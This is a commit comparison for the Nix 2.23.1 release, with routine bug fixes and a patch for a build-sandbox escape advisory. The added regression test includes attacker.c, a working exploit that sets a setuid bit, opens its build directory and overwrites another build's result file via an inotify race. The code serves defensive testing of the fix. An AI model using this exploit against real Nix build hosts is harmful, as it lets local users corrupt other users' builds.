Compare commits

...

18 Commits

Author SHA1 Message Date
tomberek
20ac781190 Merge pull request from GHSA-q82p-44mg-mgh5
Fix sandbox escape 2.23
2024-06-26 18:49:22 -04:00
Eelco Dolstra
d7f018041e Merge pull request #10950 from NixOS/backport-10943-to-2.23-maintenance
[Backport 2.23-maintenance] Accept response from gitlab api with more than one entry in json
2024-06-24 14:24:53 +02:00
Shogo Takata
fd14479103 accept response from gitlab with more than one entry
(cherry picked from commit 0468061dd2)
2024-06-24 12:24:06 +00:00
Eelco Dolstra
07b9fae361 Fix --no-sandbox
When sandboxing is disabled, we cannot put $TMPDIR underneath an
inaccessible directory.

(cherry picked from commit d54590fdf3)
2024-06-21 17:07:59 +02:00
Eelco Dolstra
71af23ff18 Formatting
(cherry picked from commit 58b7b3fd15)
2024-06-21 17:07:55 +02:00
Eelco Dolstra
0882b75ceb Put the chroot inside a directory that isn't group/world-accessible
Previously, the .chroot directory had permission 750 or 755 (depending
on the uid-range system feature) and was owned by root/nixbld. This
makes it possible for any nixbld user (if uid-range is disabled) or
any user (if uid-range is enabled) to inspect the contents of the
chroot of an active build and maybe interfere with it (e.g. via /tmp
in the chroot, which has 1777 permission).

To prevent this, the root is now a subdirectory of .chroot, which has
permission 700 and is owned by root/root.

(cherry picked from commit ede95b1fc1)
2024-06-21 17:07:51 +02:00
Théophane Hufschmitt
a156c597ff Add a release note for the build-dir hardening
(cherry picked from commit d99c868b04)
2024-06-21 17:07:46 +02:00
Théophane Hufschmitt
930bb21893 Run the builds in a daemon-controled directory
Instead of running the builds under
`$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them
under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}`
where the build directory is only readable and traversable by the daemon user.

This achieves two things:

1. It prevents builders from making their build directory world-readable
   (or even writeable), which would allow the outside world to interact
   with them.
2. It prevents external processes running as the build user (either
   because that somehow leaked, maybe as a consequence of 1., or because
   `build-users` isn't in use) from gaining access to the build
   directory.

(cherry picked from commit 1d3696f0fb)
2024-06-21 17:07:41 +02:00
Théophane Hufschmitt
022f2db6ef Add a test for the user sandboxing
(cherry picked from commit 717f3eea39)
2024-06-21 17:07:37 +02:00
Robert Hensing
560ca6f54f Merge pull request #10901 from NixOS/backport-10900-to-2.23-maintenance
[Backport 2.23-maintenance] hash: Compare hash algo second for back compat
2024-06-13 12:37:38 +02:00
John Ericson
bbccb2fc43 hash: Compare hash algo second for back compat
Previously (in cfc18a7739), we forgot to
compare the algo at all. This means we keep the same ordering as before
by making the stuff we always have compared take priority.

(cherry picked from commit 25a9894943)
2024-06-12 23:35:49 +00:00
Eelco Dolstra
97253a92c2 Bump version 2024-06-12 15:00:47 +02:00
Robert Hensing
ba36959311 Merge pull request #10885 from NixOS/backport-10883-to-2.23-maintenance
[Backport 2.23-maintenance] fix: remove usage of XDG_RUNTIME_DIR for TMP
2024-06-10 16:47:22 +02:00
Tom Bereknyei
19b179cb08 fix: remove usage of XDG_RUNTIME_DIR for TMP
(cherry picked from commit 1363f51bcb)
2024-06-10 13:40:45 +00:00
Eelco Dolstra
c148aaa998 Merge pull request #10863 from NixOS/backport-10861-to-2.23-maintenance
[Backport 2.23-maintenance] PackageInfo::queryDrvPath(): Don't dereference an empty optional
2024-06-05 17:17:28 +02:00
Eelco Dolstra
61ab873a22 Typo
(cherry picked from commit 3e72ed9743)
2024-06-05 14:48:28 +00:00
Eelco Dolstra
4d788bda18 PackageInfo::queryDrvPath(): Don't dereference an empty optional
Fixes a regression introduced in f923ed6b6a.

https://hydra.nixos.org/build/262267313
(cherry picked from commit d2eeabf3e6)
2024-06-05 14:48:28 +00:00
Eelco Dolstra
bd8ec66189 Mark official release 2024-06-04 16:23:19 +02:00
16 changed files with 271 additions and 20 deletions

View File

@@ -1 +1 @@
2.23.0
2.23.1

View File

@@ -0,0 +1,8 @@
---
synopsis: Harden the user sandboxing
significance: significant
issues:
prs: <only provided once merged>
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View File

@@ -26,7 +26,7 @@
inherit (nixpkgs) lib;
inherit (lib) fileset;
officialRelease = false;
officialRelease = true;
version = lib.fileContents ./.version + versionSuffix;
versionSuffix =
@@ -169,7 +169,7 @@
nix =
let
officialRelease = false;
officialRelease = true;
versionSuffix =
if officialRelease
then ""
@@ -181,7 +181,7 @@
stdenv
versionSuffix
;
officialRelease = false;
officialRelease = true;
boehmgc = final.boehmgc-nix;
libgit2 = final.libgit2-nix;
libseccomp = final.libseccomp-nix;

View File

@@ -82,8 +82,7 @@ std::optional<StorePath> PackageInfo::queryDrvPath() const
} else
drvPath = {std::nullopt};
}
drvPath.value_or(std::nullopt);
return *drvPath;
return drvPath.value_or(std::nullopt);
}

View File

@@ -278,7 +278,7 @@ private:
storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
}
/* This unforutately breaks printing nested values because of
/* This unfortunately breaks printing nested values because of
how the pretty printer is used (when pretting printing and warning
to same terminal / std stream). */
#if 0

View File

@@ -433,7 +433,7 @@ struct GitLabInputScheme : GitArchiveInputScheme
store->toRealPath(
downloadFile(store, url, "source", headers).storePath)));
if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) {
return RefInfo {
.rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
};

View File

@@ -504,7 +504,13 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take
place. */
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
if (useChroot) {
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access. */
tmpDir = tmpDir + "/build";
createDir(tmpDir, 0700);
}
chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) {
@@ -672,15 +678,19 @@ void LocalDerivationGoal::startBuilder()
environment using bind-mounts. We put it in the Nix store
so that the build outputs can be moved efficiently from the
chroot to their final location. */
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir);
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootParentDir);
/* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir);

View File

@@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal
*/
bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir;
/**

View File

@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
deletePath(path, dummy);
}
void createDir(const Path & path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path)
{

View File

@@ -157,6 +157,11 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path));
}
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/**
* Create a symlink.
*/

View File

@@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const
std::strong_ordering Hash::operator <=> (const Hash & h) const
{
if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
for (unsigned int i = 0; i < hashSize; i++) {
if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
}
if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
return std::strong_ordering::equivalent;
}

View File

@@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv)
// Set the environment.
auto env = getEnv();
auto tmp = getEnvNonEmpty("TMPDIR");
if (!tmp)
tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp");
auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp");
if (pure) {
decltype(env) newEnv;
@@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv)
env["__ETC_PROFILE_SOURCED"] = "1";
}
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp;
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp;
env["NIX_STORE"] = store->storeDir;
env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);

View File

@@ -46,7 +46,10 @@ test_custom_build_dir() {
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir="$customBuildDir/nix-build-"*
local buildDir="$customBuildDir/nix-build-"*""
if [[ -e $buildDir/build ]]; then
buildDir=$buildDir/build
fi
grep $checkBuildId $buildDir/checkBuildId
}
test_custom_build_dir

View File

@@ -162,4 +162,6 @@ in
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
}

View File

@@ -0,0 +1,82 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}

View File

@@ -0,0 +1,129 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}